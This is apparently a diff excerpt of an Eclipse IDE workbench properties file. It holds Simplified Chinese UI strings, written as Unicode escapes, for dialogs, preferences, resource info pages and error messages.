+WizardNewLinkPage_browseButton=\u6d4f\u89c8(&B)... +WizardNewLinkPage_variablesButton=\u53d8\u91cf(&V)... +WizardNewLinkPage_targetSelectionLabel=\u9009\u62e9\u94fe\u63a5\u76ee\u6807\u3002 +WizardNewLinkPage_linkTargetEmpty=\u5fc5\u987b\u6307\u5b9a\u94fe\u63a5\u76ee\u6807\u3002 +WizardNewLinkPage_linkTargetInvalid=\u94fe\u63a5\u76ee\u6807\u540d\u65e0\u6548 +WizardNewLinkPage_linkTargetLocationInvalid=\u94fe\u63a5\u76ee\u6807\u4f4d\u7f6e\u65e0\u6548 +WizardNewLinkPage_linkTargetNonExistent=\u94fe\u63a5\u76ee\u6807\u4e0d\u5b58\u5728 +WizardNewLinkPage_linkTargetNotFile=\u94fe\u63a5\u76ee\u6807\u5fc5\u987b\u4e3a\u6587\u4ef6 +WizardNewLinkPage_linkTargetNotFolder=\u94fe\u63a5\u76ee\u6807\u5fc5\u987b\u4e3a\u6587\u4ef6\u5939 +Preference_note=\u6ce8\u610f\uff1a +WorkbenchPreference_encoding=\u6587\u672c\u6587\u4ef6\u7f16\u7801(&T) +WorkbenchPreference_defaultEncoding=\u7f3a\u7701\u503c\uff08{0}\uff09(&U) +WorkbenchPreference_otherEncoding=\u5176\u4ed6(&O)\uff1a +WorkbenchPreference_unsupportedEncoding=\u4e0d\u652f\u6301\u6240\u9009\u7f16\u7801\u3002 +WorkbenchPreference_encoding_encodingMessage=\u5b57\u8282\u987a\u5e8f\u6807\u8bb0\u4e3a {0} +IDEWorkspacePreference_autobuild=\u81ea\u52a8\u6784\u5efa(&B) +IDEWorkspacePreference_autobuildToolTip=\u5728\u8d44\u6e90\u4fee\u6539\u65f6\u81ea\u52a8\u6784\u5efa +IDEWorkspacePreference_savePriorToBuilding=\u5728\u6784\u5efa\u4e4b\u524d\u81ea\u52a8\u4fdd\u5b58(&M) +IDEWorkspacePreference_savePriorToBuildingToolTip=\u5728\u624b\u5de5\u6784\u5efa\u4e4b\u524d\u81ea\u52a8\u4fdd\u5b58\u4fee\u6539\u8fc7\u7684\u8d44\u6e90 +IDEWorkspacePreference_fileLineDelimiter=\u65b0\u7684\u6587\u672c\u6587\u4ef6\u884c\u5b9a\u754c\u7b26(&F) +IDEWorkspacePreference_defaultLineDelim=\u7f3a\u7701\u503c(&E) +IDEWorkspacePreference_defaultLineDelimProj=\u4ece\u5bb9\u5668\u7ee7\u627f(&E) +IDEWorkspacePreference_otherLineDelim=\u5176\u4ed6(&H)\uff1a +IDEWorkspacePreference_relatedLink=\u6709\u5173\u5de5\u4f5c\u7a7a\u95f4\u542f\u52a8\u548c\u5173\u95ed\u9996\u9009\u9879\uff0c\u8bf7\u53c2\u9605\u201c{0}\u201d\u3002 +IDEWorkspacePreference_openReferencedProjects=\u6253\u5f00\u9879\u76ee\u65f6\u6253\u5f00\u6240\u5f15\u7528\u7684\u9879\u76ee +LinkedResourcesPreference_explanation=\u8def\u5f84\u53d8\u91cf\u6307\u5b9a\u6587\u4ef6\u7cfb\u7edf\u4e2d\u7684\u4f4d\u7f6e\u3002\u94fe\u63a5\u7684\u8d44\u6e90\u7684\u4f4d\u7f6e\n\u5fc5\u987b\u662f\u76f8\u5bf9\u4e8e\u8fd9\u4e9b\u8def\u5f84\u53d8\u91cf\u6307\u5b9a\u7684\u3002 +LinkedResourcesPreference_enableLinkedResources=\u542f\u7528\u94fe\u63a5\u7684\u8d44\u6e90(&E) +LinkedResourcesPreference_linkedResourcesWarningTitle=\u542f\u7528\u94fe\u63a5\u7684\u8d44\u6e90 +LinkedResourcesPreference_linkedResourcesWarningMessage=\u60a8\u542f\u7528\u4e86\u53ef\u80fd\u4f1a\u5bfc\u81f4\u4e0d\u517c\u5bb9\u7684\u529f\u80fd\u90e8\u4ef6\uff08\u5982\u679c\u4e0d\u540c\u7248\u672c\u7684\u5de5\u4f5c\u53f0\u7684\u7528\u6237\u5171\u4eab\u9879\u76ee\u7684\u8bdd\uff09\u3002\u6709\u5173\u8fdb\u4e00\u6b65\u7684\u8be6\u7ec6\u4fe1\u606f\uff0c\u8bf7\u53c2\u9605\u6587\u6863\u3002 +linkedResourcesPreference_copy=\u590d\u5236(&C) +LinkedResourcesPreference_promptVirtual=\u63d0\u793a(&O) +PathVariableDialog_shellTitle_newVariable=\u65b0\u5efa\u53d8\u91cf +PathVariableDialog_shellTitle_existingVariable=\u7f16\u8f91\u53d8\u91cf +PathVariableDialog_dialogTitle_newVariable=\u5b9a\u4e49\u65b0\u7684\u8def\u5f84\u53d8\u91cf +PathVariableDialog_dialogTitle_existingVariable=\u7f16\u8f91\u73b0\u6709\u8def\u5f84\u53d8\u91cf +PathVariableDialog_message_newVariable=\u8f93\u5165\u65b0\u7684\u53d8\u91cf\u540d\u53ca\u5176\u76f8\u5173\u8054\u7684\u4f4d\u7f6e\u3002 +PathVariableDialog_message_existingVariable=\u7f16\u8f91\u53d8\u91cf\u7684\u540d\u79f0\u548c\u8def\u5f84\u503c\u3002 +PathVariableDialog_variableName=\u540d\u79f0(&N)\uff1a +PathVariableDialog_variableValue=\u4f4d\u7f6e(&L)\uff1a +PathVariableDialog_variableResolvedValue=\u89e3\u6790\u7684\u4f4d\u7f6e\uff1a +PathVariableDialog_variableNameEmptyMessage=\u60a8\u5fc5\u987b\u63d0\u4f9b\u53d8\u91cf\u540d\u3002 +PathVariableDialog_variableValueEmptyMessage=\u60a8\u5fc5\u987b\u63d0\u4f9b\u6587\u4ef6\u6216\u6587\u4ef6\u5939\u8def\u5f84\u4f5c\u4e3a\u53d8\u91cf\u503c\u3002 +PathVariableDialog_variableValueInvalidMessage=\u63d0\u4f9b\u7684\u503c\u4e0d\u662f\u6709\u6548\u8def\u5f84\u3002 +PathVariableDialog_file=\u6587\u4ef6(&F)... +PathVariableDialog_folder=\u6587\u4ef6\u5939(&O)... +PathVariableDialog_variable=\u53d8\u91cf(&V)... +PathVariableDialog_selectFileTitle=\u9009\u62e9\u6587\u4ef6 +PathVariableDialog_selectFolderTitle=\u9009\u62e9\u6587\u4ef6\u5939 +PathVariableDialog_selectFolderMessage=\u6307\u5b9a\u8981\u7531\u53d8\u91cf\u8868\u793a\u7684\u6587\u4ef6\u5939\u3002 +PathVariableDialog_variableAlreadyExistsMessage=\u5df2\u4f7f\u7528\u6b64\u53d8\u91cf\u540d\u3002 +PathVariableDialog_pathIsRelativeMessage=\u8def\u5f84\u5fc5\u987b\u662f\u7edd\u5bf9\u8def\u5f84\u3002 +PathVariableDialog_pathDoesNotExistMessage=\u8def\u5f84\u4e0d\u5b58\u5728\u3002 +FileHistory_longevity=\u8981\u4fdd\u5b58\u6587\u4ef6\u7684\u5929\u6570(&K)\uff1a +FileHistory_entries=\u6bcf\u4e2a\u6587\u4ef6\u7684\u6700\u5927\u6761\u76ee\u6570(&E)\uff1a +FileHistory_diskSpace=\u6700\u5927\u6587\u4ef6\u5927\u5c0f\uff08&MB\uff09\uff1a +FileHistory_mustBePositive=\u503c\u5fc5\u987b\u4e3a\u6b63 +FileHistory_invalid=\u65e0\u6548\u503c\uff1a{0} +FileHistory_exceptionSaving=\u4fdd\u5b58\u672c\u5730\u5386\u53f2\u8bb0\u5f55\u65f6\u51fa\u73b0\u5185\u90e8\u9519\u8bef +FileHistory_aboveMaxEntries=\u8d85\u8fc7\u6bcf\u4e2a\u6587\u4ef6\u7684\u6700\u5927\u6761\u76ee\u6570\uff1a{0} +FileHistory_aboveMaxFileSize=\u8d85\u8fc7\u6700\u5927\u6587\u4ef6\u5927\u5c0f\u503c\uff1a{0} +FileHistory_restartNote=\u4ec5\u5f53\u91cd\u65b0\u542f\u52a8\u65f6\uff0c\u624d\u5e94\u7528\u201c\u6bcf\u4e2a\u6587\u4ef6\u7684\u6700\u5927\u6761\u76ee\u6570\u201d\u548c\u201c\u4fdd\u7559\u8fd9\u4e9b\u6587\u4ef6\u7684\u5929\u6570\u201d\u8fd9\u4e24\u4e2a\u503c\u3002\n +ProjectSwitchPerspectiveMode_optionsTitle=\u521b\u5efa\u65b0\u9879\u76ee\u65f6\u6253\u5f00\u76f8\u5173\u8054\u7684\u900f\u89c6\u56fe +ProjectSwitchPerspectiveMode_always=\u603b\u662f\u6253\u5f00(&Y) +ProjectSwitchPerspectiveMode_never=\u4ece\u4e0d\u6253\u5f00(&V) +ProjectSwitchPerspectiveMode_prompt=\u63d0\u793a(&T) +BuildOrderPreference_up=\u5411\u4e0a(&U) +BuildOrderPreference_down=\u4e0b\u79fb(&N) +BuildOrderPreference_add=\u6dfb\u52a0\u9879\u76ee(&P)... +BuildOrderPreference_remove=\u9664\u53bb\u9879\u76ee(&R) +BuildOrderPreference_selectOtherProjects=\u9009\u62e9\u8981\u6dfb\u52a0\u81f3\u6784\u5efa\u8def\u5f84\u7684\u9879\u76ee(&P)\uff1a +BuildOrderPreference_useDefaults=\u4f7f\u7528\u7f3a\u7701\u6784\u5efa\u987a\u5e8f(&E) +BuildOrderPreference_projectBuildOrder=\u9879\u76ee\u6784\u5efa\u987a\u5e8f(&O)\uff1a +BuildOrderPreference_removeNote=\u4ecd\u7136\u6784\u5efa\u4ece\u5217\u8868\u4e2d\u9664\u53bb\u7684\u9879\u76ee\uff0c\u4f46\u662f\u5728\u6784\u5efa\u5217\u8868\u4e2d\u6307\u5b9a\u7684\u9879\u76ee\u4e4b\u540e\u6784\u5efa\u3002 +BuildOrderPreference_maxIterationsLabel=\u4f7f\u7528\u5faa\u73af\u6784\u5efa\u65f6\u7684\u6700\u5927\u8fed\u4ee3\u6570(&M)\uff1a +StartupPreferencePage_refreshButton=\u542f\u52a8\u65f6\u5237\u65b0\u5de5\u4f5c\u7a7a\u95f4(&R) +StartupPreferencePage_launchPromptButton=\u542f\u52a8\u65f6\u63d0\u793a\u5de5\u4f5c\u7a7a\u95f4(&W) +StartupPreferencePage_exitPromptButton=\u5173\u95ed\u6700\u540e\u4e00\u4e2a\u7a97\u53e3\u65f6\u786e\u8ba4\u9000\u51fa(&C) +ResourceInfo_readOnly=\u53ea\u8bfb(&R) +ResourceInfo_executable=\u53ef\u6267\u884c(&X) +ResourceInfo_archive=\u5f52\u6863(&C) +ResourceInfo_derived=\u6d3e\u751f\u7684(&V) +ResourceInfo_type=\u7c7b\u578b(&T)\uff1a +ResourceInfo_location=\u4f4d\u7f6e(&L)\uff1a +ResourceInfo_size=\u5927\u5c0f(&S)\uff1a +ResourceInfo_bytes={0} \u4e2a\u5b57\u8282 +ResourceInfo_file=\u6587\u4ef6 +ResourceInfo_fileTypeFormat=\u6587\u4ef6\uff08{0}\uff09 +ResourceInfoPage_noResource=\u8d44\u6e90\u4fe1\u606f\u5bf9\u4e8e\u5f53\u524d\u6240\u9009\u5185\u5bb9\u4e0d\u53ef\u7528\u3002 +ResourceFilterPage_noResource=\u8d44\u6e90\u4fe1\u606f\u5bf9\u4e8e\u5f53\u524d\u6240\u9009\u5185\u5bb9\u4e0d\u53ef\u7528\u3002 +ResourceFilterPage_addButtonLabel=\u6dfb\u52a0(&A)... +ResourceFilterPage_editButtonLabel=\u7f16\u8f91(&E)... +ResourceFilterPage_removeButtonLabel=\u79fb\u9664(&R) +ResourceFilterPage_columnFilterDescription=\u63cf\u8ff0 +ResourceFilterPage_caseSensitive=\u533a\u5206\u5927\u5c0f\u5199(&C) +ResourceFilterPage_multiMatcher_Matcher=\uff08* \= \u4efb\u4f55\u5b57\u7b26\u4e32\uff0c? \= \u4efb\u4f55\u5b57\u7b26\uff0c\\ \= \u6587\u5b57\u7684\u8f6c\u4e49\u5b57\u7b26\uff1a* ? \\\uff09 +ResourceFilterPage_addSubFilterActionLabel=\u6dfb\u52a0(&A)... +ResourceFilterPage_removeFilterActionLabel=\u79fb\u9664(&R) +ResourceFilterPage_editFilterActionLabel=\u7f16\u8f91(&E) +ResourceFilterPage_multiKeyName=\u540d\u79f0 +ResourceFilterPage_multiKeyLocation=\u4f4d\u7f6e +ResourceFilterPage_multiKeyCreated=\u521b\u5efa\u65e5\u671f +ResourceFilterPage_multiKeyReadOnly=\u53ea\u8bfb +ResourceFilterPage_multiEquals=\u7b49\u53f7 +ResourceFilterPage_multiMatches=\u5339\u914d\u9879 +ResourceFilterPage_true=true +ResourceFilterPage_false=false +ResourceInfo_folder=\u6587\u4ef6\u5939 +ResourceInfo_project=\u9879\u76ee +ResourceInfo_linkedFile=\u94fe\u63a5\u6587\u4ef6 +ResourceInfo_linkedFolder=\u94fe\u63a5\u7684\u6587\u4ef6\u5939 +ResourceInfo_virtualFolder=\u865a\u62df\u6587\u4ef6\u5939 +ResourceInfo_unknown=\u672a\u77e5 +ResourceInfo_notLocal=<\u6587\u4ef6\u5185\u5bb9\u4e0d\u662f\u672c\u5730\u7684> +ResourceInfo_undefinedPathVariable=<\u672a\u5b9a\u4e49\u7684\u8def\u5f84\u53d8\u91cf> +ResourceInfo_notExist=<\u8d44\u6e90\u4e0d\u5b58\u5728> +ResourceInfo_fileNotExist={0} \uff0d \uff08\u4e0d\u5b58\u5728\uff09 +ResourceInfo_path=\u8def\u5f84(&P)\uff1a +ResourceInfo_lastModified=\u4e0a\u6b21\u4fee\u6539(&M)\uff1a +ResourceInfo_fileEncodingTitle=\u6587\u672c\u6587\u4ef6\u7684\u7f3a\u7701\u7f16\u7801(&T) +ResourceInfo_containerEncodingFormat=\u4ece\u5bb9\u5668\u7ee7\u627f\uff08{0}\uff09(&I) +ResourceInfo_exWarning=\u9664\u53bb\u76ee\u5f55\u4e0a\u7684\u53ef\u6267\u884c\u6587\u4ef6\u6807\u5fd7\u5c06\u5bfc\u81f4\u5176\u5b50\u4ee3\u6210\u4e3a\u4e0d\u53ef\u8bfb\u7684\u3002 +ResourceInfo_edit=\u7f16\u8f91(&E)... +ResourceInfo_attributes=\u5c5e\u6027\uff1a +ResourceInfo_owner=\u6240\u6709\u8005 +ResourceInfo_group=\u7ec4 +ResourceInfo_other=\u5176\u4ed6 +ResourceInfo_read=\u8bfb +ResourceInfo_write=\u5199 +ResourceInfo_execute=\u6267\u884c +ProjectReferencesPage_label=\u9879\u76ee\u53ef\u4ee5\u5f15\u7528\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u7684\u5176\u4ed6\u9879\u76ee\u3002\n\u4f7f\u7528\u6b64\u9875\u9762\u6765\u6307\u5b9a\u8be5\u9879\u76ee\u5f15\u7528\u54ea\u4e9b\u5176\u4ed6\u9879\u76ee\u3002\n\n\u201c{0}\u201d\u7684\u9879\u76ee\u5f15\u7528(&P)\uff1a +ProjectLinkedResourcePage_linkedResourcesTabTitle=\u94fe\u63a5\u7684\u8d44\u6e90 +LinkedResourceEditor_editLinkedLocation=\u7f16\u8f91(&E)... +LinkedResourceEditor_remove=\u5220\u9664... +LinkedResourceEditor_path=\u8def\u5f84 +LinkedResourceEditor_location=\u4f4d\u7f6e +LinkedResourceEditor_broken=\u4f4d\u7f6e\u65e0\u6548 +linkedResourceEditor_OK=\u786e\u5b9a +DefaultEditorDescription_name=\u7f3a\u7701\u7f16\u8f91\u5668(&D) +WelcomeEditor_accessException=\u5c1d\u8bd5\u8bbf\u95ee\u6b22\u8fce\u9875\u9762\u65f6\u53d1\u751f\u4e86\u5f02\u5e38 +WelcomeEditor_readFileError=WelcomeEditor.readFile \u4e2d\u5b58\u5728\u9519\u8bef +WelcomeEditor_title=\u6b22\u8fce +WelcomeEditor_toolTip=\u6b22\u8fce\u4f7f\u7528 {0} +WelcomeEditor_copy_text=\u590d\u5236(&C) +WelcomeItem_unableToLoadClass=\u65e0\u6cd5\u88c5\u5165\u7c7b +WelcomeParser_parseError=WelcomeParser.parse \u4e2d\u5b58\u5728\u9519\u8bef +WelcomeParser_parseException=\u5bf9\u6b22\u8fce\u9875\u9762\u8fdb\u884c\u89e3\u6790\u65f6\u53d1\u751f\u4e86\u5f02\u5e38 +Workbench_openEditorErrorDialogTitle=\u95ee\u9898 +Workbench_openEditorErrorDialogMessage=\u65e0\u6cd5\u6253\u5f00\u7f16\u8f91\u5668 +QuickStartAction_openEditorException=\u6253\u5f00\u7f16\u8f91\u5668\u65f6\u53d1\u751f\u4e86\u5f02\u5e38 +Question=\u95ee\u9898 +Always=\u59cb\u7ec8(&Y) +Never=\u4ece\u4e0d(&N) +Prompt=\u63d0\u793a(&P) +ContainerSelectionDialog_title=\u9009\u62e9\u6587\u4ef6\u5939 +ContainerSelectionDialog_message=\u8f93\u5165\u6216\u9009\u62e9\u7236\u6587\u4ef6\u5939\uff1a +ContainerGroup_message=\u8f93\u5165\u6216\u9009\u62e9\u7236\u6587\u4ef6\u5939(&E)\uff1a +ContainerGroup_selectFolder=\u9009\u62e9\u6587\u4ef6\u5939\uff1a +ContainerGenerator_progressMessage=\u751f\u6210\u6587\u4ef6\u5939 +ContainerGenerator_pathOccupied=\u4e0d\u80fd\u521b\u5efa\u6587\u4ef6\u5939\uff0c\u8fd9\u662f\u56e0\u4e3a\u5df2\u7ecf\u6709\u4e00\u4e2a\u6587\u4ef6\u5b58\u5728\u4e8e\u8be5\u4f4d\u7f6e\uff1a{0} +ResourceGroup_resource=\u8d44\u6e90 +ResourceGroup_nameExists=\u201c{0}\u201d\u5df2\u5b58\u5728\u3002 +ResourceGroup_folderEmpty=\u672a\u6307\u5b9a\u6587\u4ef6\u5939\u3002 +ResourceGroup_noProject=\u6307\u5b9a\u7684\u9879\u76ee\u4e0d\u5b58\u5728\u3002 +ResourceGroup_emptyName=\u201c{0}\u201d\u540d\u79f0\u662f\u7a7a\u7684\u3002 +ResourceGroup_invalidFilename=\u201c{0}\u201d\u4e0d\u662f\u6709\u6548\u7684\u6587\u4ef6\u540d\u3002 +ResourceGroup_pathOccupied=\u5df2\u7ecf\u6709\u4e00\u4e2a\u6587\u4ef6\u5b58\u5728\u4e8e\u8be5\u4f4d\u7f6e\uff1a{0} +FileSelectionDialog_title=\u9009\u62e9\u6587\u4ef6 +FileSelectionDialog_message=\u9009\u62e9\u6587\u4ef6\uff1a +ProjectLocationSelectionDialog_nameLabel=\u9879\u76ee\u540d(&P)\uff1a +ProjectLocationSelectionDialog_locationLabel=\u4f4d\u7f6e(&L)\uff1a +ProjectLocationSelectionDialog_browseLabel=\u6d4f\u89c8(&R)... +ProjectLocationSelectionDialog_directoryLabel=\u9009\u62e9\u4f4d\u7f6e\u76ee\u5f55\u3002 +ProjectLocationSelectionDialog_locationError=\u4f4d\u7f6e\u8def\u5f84\u65e0\u6548 +ProjectLocationSelectionDialog_locationIsSelf=\u4f4d\u7f6e\u5df2\u662f\u5f53\u524d\u4f4d\u7f6e + +ProjectLocationSelectionDialog_selectionTitle=\u9879\u76ee +ProjectLocationSelectionDialog_useDefaultLabel=\u4f7f\u7528\u7f3a\u7701\u4f4d\u7f6e(&D) +ResourceSelectionDialog_title=\u9009\u62e9\u8d44\u6e90 +ResourceSelectionDialog_message=\u9009\u62e9\u8d44\u6e90\uff1a +MarkerResolutionSelectionDialog_title=\u5feb\u901f\u4fee\u6b63 +MarkerResolutionSelectionDialog_messageLabel=\u53ef\u7528\u7684\u4fee\u6b63(&A)\uff1a +MarkerDeleteHandler_JobTitle=\u5220\u9664\u6807\u8bb0 +MarkerDeleteHandler_JobMessageLabel=\u5220\u9664\u9009\u62e9\u7684\u6807\u8bb0 +FilteredResourcesSelectionDialog_showDerivedResourcesAction=\u663e\u793a\u6d3e\u751f\u7684\u8d44\u6e90(&D) +ResourceSelectionDialog_label=\u9009\u62e9\u8981\u6253\u5f00\u7684\u8d44\u6e90\uff08? \= \u4efb\u4f55\u5b57\u7b26\uff0c* \= \u4efb\u4f55\u5b57\u7b26\u4e32\uff09\uff1a +ResourceSelectionDialog_matching=\u5339\u914d\u7684\u8d44\u6e90(&M)\uff1a +ResourceSelectionDialog_folders=\u5728\u6587\u4ef6\u5939\u4e2d(&F)\uff1a +ResourceSelectionDialog_showDerived=\u663e\u793a\u6d3e\u751f\u7684\u8d44\u6e90(&D) +OpenResourceDialog_title=\u6253\u5f00\u8d44\u6e90 +OpenResourceDialog_openButton_text=\u6253\u5f00 +OpenResourceDialog_openWithMenu_label=\u6253\u5f00\u65b9\u5f0f(&W) +OpenResourceDialog_openWithButton_toolTip=\u6253\u5f00\u65b9\u5f0f +NewFolderDialog_title=\u65b0\u5efa\u6587\u4ef6\u5939 +NewFolderDialog_nameLabel=\u6587\u4ef6\u5939\u540d(&F)\uff1a +NewFolderDialog_alreadyExists=\u6587\u4ef6\u5939\u201c{0}\u201d\u5df2\u5b58\u5728\u3002 +NewFolderDialog_folderNameEmpty=\u5fc5\u987b\u6307\u5b9a\u6587\u4ef6\u5939\u540d +NewFolderDialog_progress=\u6b63\u5728\u521b\u5efa\u65b0\u6587\u4ef6\u5939 +NewFolderDialog_errorTitle=\u521b\u5efa\u95ee\u9898 +NewFolderDialog_internalError=\u5185\u90e8\u9519\u8bef\uff1a{0} +CreateLinkedResourceGroup_linkFileButton=\u94fe\u63a5\u81f3\u6587\u4ef6\u7cfb\u7edf\u4e2d\u7684\u6587\u4ef6(&L) +CreateLinkedResourceGroup_linkFolderButton=\u94fe\u63a5\u81f3\u6587\u4ef6\u7cfb\u7edf\u4e2d\u7684\u6587\u4ef6\u5939(&L) +CreateLinkedResourceGroup_browseButton=\u6d4f\u89c8(&W)... +CreateLinkedResourceGroup_variablesButton=\u53d8\u91cf(&V)... +CreateLinkedResourceGroup_resolvedPathLabel=\u89e3\u6790\u7684\u4f4d\u7f6e\uff1a +CreateLinkedResourceGroup_targetSelectionLabel=\u9009\u62e9\u94fe\u63a5\u76ee\u6807\u3002 +CreateLinkedResourceGroup_targetSelectionTitle=\u9009\u62e9\u94fe\u63a5\u76ee\u6807 +CreateLinkedResourceGroup_linkTargetNotFile=\u94fe\u63a5\u76ee\u6807\u5fc5\u987b\u4e3a\u6587\u4ef6\u3002 +CreateLinkedResourceGroup_linkTargetNotFolder=\u94fe\u63a5\u76ee\u6807\u5fc5\u987b\u4e3a\u6587\u4ef6\u5939\u3002 +CreateLinkedResourceGroup_linkTargetNonExistent=\u94fe\u63a5\u76ee\u6807\u4e0d\u5b58\u5728\u3002 +CreateLinkedResourceGroup_unableToValidateLinkTarget=\u65e0\u6cd5\u9a8c\u8bc1\u94fe\u63a5\u76ee\u6807\u3002 +PathVariablesBlock_variablesLabel=\u5df2\u5b9a\u4e49\u8def\u5f84\u53d8\u91cf(&D)\uff1a +PathVariablesBlock_addVariableButton=\u65b0\u5efa(&N)... +PathVariablesBlock_editVariableButton=\u7f16\u8f91(&T)... +PathVariablesBlock_removeVariableButton=\u79fb\u9664(&R) +PathVariablesBlock_nameColumn=\u540d\u79f0 +PathVariablesBlock_valueColumn=\u503c +PathVariableSelectionDialog_title=\u9009\u62e9\u8def\u5f84\u53d8\u91cf +PathVariableSelectionDialog_extendButton=\u6269\u5c55(&E)... +PathVariableSelectionDialog_ExtensionDialog_title=\u53d8\u91cf\u6269\u5c55 +PathVariableSelectionDialog_ExtensionDialog_description=\u9009\u62e9\u5bf9 {0} \u7684\u6269\u5c55 +EditorManager_saveResourcesMessage=\u9009\u62e9\u8981\u4fdd\u5b58\u7684\u8d44\u6e90(&R)\uff1a +EditorManager_saveResourcesTitle=\u4fdd\u5b58\u8d44\u6e90 +OpenSystemEditorAction_dialogTitle=\u6253\u5f00\u7cfb\u7edf\u7f16\u8f91\u5668\u65f6\u51fa\u73b0\u95ee\u9898 +OpenSystemEditorAction_text=\u7cfb\u7edf\u7f16\u8f91\u5668(&S) +OpenSystemEditorAction_toolTip=\u4f7f\u7528\u7cfb\u7edf\u7f16\u8f91\u5668\u7f16\u8f91\u6587\u4ef6 +WorkspaceAction_problemsTitle=\u95ee\u9898 +WorkspaceAction_logTitle={0} \u4e2d\u7684\u5f02\u5e38\u3002\u8fd0\u884c\uff1a{1} +WorkbenchAction_problemsMessage=\u53d1\u751f\u4e0b\u5217\u95ee\u9898\u3002 +WorkbenchAction_internalError=\u5185\u90e8\u9519\u8bef\u3002 +Workspace=\u5de5\u4f5c\u7a7a\u95f4 +WorkbenchWindow_shellTitle={0} \uff0d {1} +Internal_error=\u5185\u90e8\u9519\u8bef +InternalError=\u5185\u90e8\u9519\u8bef +InternalErrorNoArg=\u53d1\u751f\u4e86\u5185\u90e8\u9519\u8bef\u3002\n\u8bf7\u53c2\u9605 .log \u6587\u4ef6\u4ee5\u83b7\u53d6\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002\n\n\u60f3\u8981\u9000\u51fa\u5de5\u4f5c\u53f0\u5417\uff1f +InternalErrorOneArg=\u53d1\u751f\u4e86\u5185\u90e8\u9519\u8bef\u3002\n{0}\n\u8bf7\u53c2\u9605 .log \u6587\u4ef6\u4ee5\u83b7\u53d6\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002\n\n\u60f3\u8981\u9000\u51fa\u5de5\u4f5c\u53f0\u5417\uff1f +FatalError_RecursiveError=\u663e\u793a\u5185\u90e8\u9519\u8bef\u65f6\u53d1\u751f\u4e86\u5185\u90e8\u9519\u8bef\u3002 +FatalError_OutOfMemoryError=\u53d1\u751f\u4e86\u5185\u5b58\u4e0d\u8db3\u9519\u8bef\u3002\u8bf7\u53c2\u9605\u81ea\u8ff0\u6587\u4ef6\u7684\u201c\u8fd0\u884c Eclipse\u201d\u90e8\u5206\uff0c\u4ee5\u83b7\u53d6\u6709\u5173\u963b\u6b62\u5c06\u6765\u6b64\u7c7b\u9519\u8bef\u7684\u4fe1\u606f\u3002 +FatalError_StackOverflowError=\u53d1\u751f\u4e86\u5806\u6808\u6ea2\u51fa\u9519\u8bef\u3002 +FatalError_VirtualMachineError=\u53d1\u751f\u4e86\u865a\u62df\u673a\u9519\u8bef\u3002 +FatalError_SWTError=\u53d1\u751f\u4e86 SWT \u9519\u8bef\u3002 +FatalError={0}\n\u5efa\u8bae\u9000\u51fa\u5de5\u4f5c\u53f0\u3002\n\u4ee5\u540e\u53ef\u80fd\u8fd8\u4f1a\u53d1\u751f\u9519\u8bef\u5e76\u4e14\u53ef\u80fd\u4f1a\u5728\u4e0d\u7ed9\u51fa\u8b66\u544a\u7684\u60c5\u51b5\u4e0b\u7ec8\u6b62\u5de5\u4f5c\u53f0\u3002\n\u8bf7\u53c2\u9605 .log \u6587\u4ef6\u4ee5\u83b7\u53d6\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002\n\n\u60f3\u8981\u9000\u51fa\u5de5\u4f5c\u53f0\u5417\uff1f +ProblemSavingWorkbench=\u5728\u5c1d\u8bd5\u4fdd\u5b58\u5de5\u4f5c\u53f0\u7684\u72b6\u6001\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +ProblemsSavingWorkspace=\u4fdd\u5b58\u5de5\u4f5c\u7a7a\u95f4\u65f6\u51fa\u73b0\u95ee\u9898 +Problems_Opening_Page=\u6253\u5f00\u9875\u9762\u65f6\u51fa\u73b0\u95ee\u9898 +Workspace_refreshing=\u6b63\u5728\u5237\u65b0\u5de5\u4f5c\u7a7a\u95f4 +IDEExceptionHandler_ExceptionHandledMessage=\u5df2\u901a\u77e5\u5f02\u5e38\u5904\u7406\u7a0b\u5e8f +CreateFileAction_text=\u65b0\u5efa\u6587\u4ef6(&F) +CreateFileAction_toolTip=\u521b\u5efa\u65b0\u6587\u4ef6 +CreateFileAction_title=\u65b0\u5efa +CreateFolderAction_text=\u65b0\u5efa\u6587\u4ef6\u5939(&O) +CreateFolderAction_toolTip=\u521b\u5efa\u65b0\u6587\u4ef6\u5939 +CreateFolderAction_title=\u65b0\u5efa +ScrubLocalAction_problemsMessage=\u9664\u53bb\u9009\u62e9\u7684\u8d44\u6e90\u7684\u672c\u5730\u5185\u5bb9\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +ScrubLocalAction_text=\u5e9f\u5f03\u672c\u5730\u526f\u672c(&L) +ScrubLocalAction_toolTip=\u5e9f\u5f03\u672c\u5730\u5185\u5bb9 +ScrubLocalAction_problemsTitle=\u5185\u5bb9\u9664\u53bb\u95ee\u9898 +ScrubLocalAction_progress=\u6b63\u5728\u5e9f\u5f03\u5185\u5bb9... +TextAction_selectAll=\u5168\u90e8\u9009\u4e2d +Cut=\u526a\u5207 +Copy=\u590d\u5236 +Paste=\u7c98\u8d34 +Delete=\u5220\u9664 +WorkbenchPreference_saveInterval=\u5de5\u4f5c\u7a7a\u95f4\u4fdd\u5b58\u65f6\u95f4\u95f4\u9694\uff08\u4ee5\u5206\u949f\u8ba1\uff09(&W)\uff1a +WorkbenchPreference_saveIntervalError=\u5de5\u4f5c\u7a7a\u95f4\u4fdd\u5b58\u65f6\u95f4\u95f4\u9694\u5e94\u5728 1 \u4e0e {0} \u4e4b\u95f4\u3002 +ResourceWorkingSetPage_title=\u8d44\u6e90\u5de5\u4f5c\u96c6 +ResourceWorkingSetPage_description=\u8f93\u5165\u5de5\u4f5c\u96c6\u540d\u79f0\u5e76\u9009\u62e9\u5de5\u4f5c\u96c6\u8d44\u6e90\u3002 +ResourceWorkingSetPage_message=\u5de5\u4f5c\u96c6\u540d\u79f0(&W)\uff1a +ResourceWorkingSetPage_label_tree=\u5de5\u4f5c\u96c6\u5185\u5bb9(&C)\uff1a +ResourceWorkingSetPage_warning_nameMustNotBeEmpty=\u540d\u79f0\u4e0d\u80fd\u662f\u7a7a\u7684\u3002 +ResourceWorkingSetPage_warning_nameWhitespace=\u540d\u79f0\u4e0d\u80fd\u5177\u6709\u524d\u5bfc\u7a7a\u683c\u6216\u7ed3\u5c3e\u7a7a\u683c\u3002 +ResourceWorkingSetPage_warning_workingSetExists=\u5df2\u7ecf\u5b58\u5728\u540c\u540d\u7684\u5de5\u4f5c\u96c6\u3002 